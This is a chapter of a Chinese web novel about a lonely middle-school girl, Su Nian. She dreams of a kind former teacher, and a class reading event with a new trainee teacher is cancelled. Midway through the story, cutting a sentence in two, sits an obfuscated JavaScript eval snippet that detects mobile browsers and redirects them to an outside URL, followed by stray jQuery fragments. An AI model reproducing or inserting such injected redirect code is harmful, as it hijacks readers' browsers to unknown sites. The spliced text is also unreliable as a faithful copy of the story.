手机屏幕亮着，显示陈小满发来的QQ消息。
“周雨晴去找刘老了！她说快期中了，搞活动影响复习，刘老同意取消了！”
苏念盯着这句话看了半天，屏幕冷光打在脸上，映出没有血色的皮肤。
她没回复，按下电源键。手机黑屏，房间重归昏暗。
苏念拉过被子蒙住头，闭上眼。
凌晨四点，苏念做了个梦。
梦里没有阴暗出租屋，没有堆满卷子的课桌。她回到小学三年级的教室。窗外太阳刺眼，树上蝉鸣吵闹。
年轻的语文老师站在讲台上，短发，圆脸，穿着浅黄连衣裙，笑起来带着酒窝。
老师捧着一摞作文本，从第一排往下发。
“张强，字写得太乱。”
“王磊，这篇有进步。”
苏念坐在中间座位上，手心出汗，后背贴着木椅。
老师走到她面前停下，把作文本放在桌面。翻开的那页写满红色批注，字迹娟秀。
“苏念，你的作文写得真好。”老师弯腰，声音轻柔，带着南方口音，“老师喜欢。”
一只手落在苏念头顶。
掌心带着薄茧，温度传到发丝间，揉了两下。那是大人对小孩纯粹的夸奖。
苏念想抬头道谢，刚动弹，头顶温度消失。
老师不见了，课桌、黑板、蝉鸣全都不见了。
四周变成空旷水泥地，没有风。
苏念站在原地，张嘴发不出声音，失重感袭来。
她睁开眼。
房间昏暗，隔壁传来外婆姜翠花沉重打鼾声，伴随吧唧嘴的动静。
苏念转头，脸颊碰到冰凉布料。枕头湿了。
她坐起身，伸手摸向头顶。那里只有散乱头发，没有温度。
苏念靠着墙壁，屈腿抱住膝盖，下巴抵在膝盖骨上。
那个小学老师只教了她们一年。四年级开学，班主任换成中年男人，天天拿竹板打手心，再没人提过那个短发老师。
苏念在黑暗中算着时间。
五年了。
五年里，再没有大人夸过她。姜翠花拿她和邻居孩子比成绩，苏敏在电话里叮嘱她考高中别进流水线，王建国当众念出她搬西瓜的周记让全班笑话。
五年里的每一天，她努力把自己缩成透明人，不挨骂就行，不被注意就行。
书桌上放着那盒常温牛奶。
昨天上午，林知意把牛奶塞进她手里，说“靠力气赚钱值得骄傲”。
苏念盯着牛奶盒轮廓看，直到窗外泛起灰白亮光，远处早点摊传来拉卷帘门的动静。
早上到教室，陈小满顶着黑眼圈，正趴在桌上补英语练习册。
看到苏念拉开椅子坐下，陈小满停笔凑过来。
“苏念，昨晚怎么没回我？”
“睡着了。”苏念把书包塞进抽屉。
“气死我了。”陈小满咬着笔杆，笔头带着牙印，“我昨天去办公室交作业，听见周雨晴跟刘老告状。她说林老师带课外书来班里，大家心思散了，期中考试退步。刘老当场给林老师打电话，说分享会别搞了。”
苏念翻开语文课本，盯着目录，没接话。
“林老师买那么多书，搬上搬下，白搭了。”陈小满叹气，低头抄单词，“我就知道，咱们学校容不下新鲜玩意。”
前排传来动静，周雨晴抱着一摞新印数学卷子走来，挨个往下发。
走到倒数第二排，张逸飞趴在桌上睡觉。周雨晴把卷子拍在他脑袋边上，发出一声脆响。
张逸飞惊醒，揉着眼睛骂了句脏话：“有病啊？”
“快期中考试了，刘老师让大家收心。”周雨晴音量拔高，周围几排听得清楚，“没用的活动取消了对大家都好，考砸了谁负责？咱们班平均分不能被拖后腿。”
李浩转着篮球接茬：“就是，搞课外阅读能加几分？班长说得对，做卷子实在，看闲书都是差生干的事。”
周雨晴走到最后一排，把两张卷子放在苏念和陈小满桌上。
她视线扫过苏念空荡桌面，没看到那本《我与地坛》，转身走回前排。
苏念拿起圆珠笔，在卷子左上角写下名字。
笔尖划过纸面，头顶还留着梦里温热触感，周围空气混着粉笔灰和冷嘲热讽的味道。
白天上学一切如常。
第一节课，第二节课，课间操，眼保健操。
苏念一整天有些精神不济。
英语课上，老师叫人背诵课文。苏念坐在角落，看着窗外晃动树叶，脑子里跳出昨天林知意搬书时汗水浸/湿的侧脸，还有教务处门口那句“你看完《我与地坛》，来找我聊聊”。
她习惯当透明人，有人给点甜头，她就怕这甜头没了。
中午放学铃响，陈小满拉着她去食堂。
“今天不去四楼了？”陈小满拿着饭卡问。
“不去。”苏念摇头。
她不敢
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849264|211777||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
去旧图书馆。怕看到灰蓝坐垫，怕看到书架上的《呐喊》，怕想起昨天下午没办成的分享会。
期待落空比没有期待更难受。她宁愿自己还是那个躲在角落画白色小人的苏念。
下午最后一节是班会课。
刘国强夹着教案走进来，带上门。教室里说话声停下。
他走到讲台前，把教案往桌上一扔，激起粉笔灰。
“讲个事。”刘国强两手撑在讲桌边缘，视线扫过全班。
前排几个女生坐直身子。
“学校给实习老师的安排定了。”刘国强清清嗓子，音量提高，“明天早自习，林知意老师正式入班，担任咱们初二（3）班的副班主任。”
班里起了骚动。
张逸飞在后面吹口哨，拿胳膊肘捅李浩。
“安静！”刘国强敲黑板擦，“副班主任主要工作是协助我抓纪律，抓常规。快期中了，你们别整没用的幺蛾子。”
说到“没用的幺蛾子”几个字时，刘国强的视线在教室后半区停留。
周雨晴坐在第一排，脊背挺直，转头跟同桌交换眼神。那是胜利者的姿态。
“周雨晴。”刘国强点名。
“在。”周雨晴站起。
“明天早自习你带读英语，管好纪律。林老师刚来，别让她觉得咱们班乱哄哄没规矩。”刘国强吩咐，“课外的事全部停下，一切以期中考试为重。”
“好的刘老师。”周雨晴回答干脆。
“行了，自习。”刘国强说完，拉开门走出去。
班里恢复低声议论。
陈小满撕下草稿纸，写了几个字，推到苏念手边。
纸上写着：副班主任＝管纪律的工具人，分享会没戏了。
苏念看着纸条。
班主任刚才讲话时，看的是角落交头接耳的男生，没看她一眼。
她依然是坐在最后一排不起眼的透明人。
苏念把纸条折起，压/在数学练习册底下。
她的手放在课桌阴影里。手指收拢，指甲抵着掌心皮肉，攥紧。
明天早自习，林知意就要来了。
那个给她牛奶、告诉她靠力气赚钱值得骄傲的老师，真的会变成刘国强口中管纪律的工具人吗？
苏念把手揣进校服口袋，碰到那张折叠过的五块钱纸币。
外面天色转暗，风把窗户吹得作响。苏念盯着黑板上明天要考的英语单词，没再翻开抽屉里那本旧书。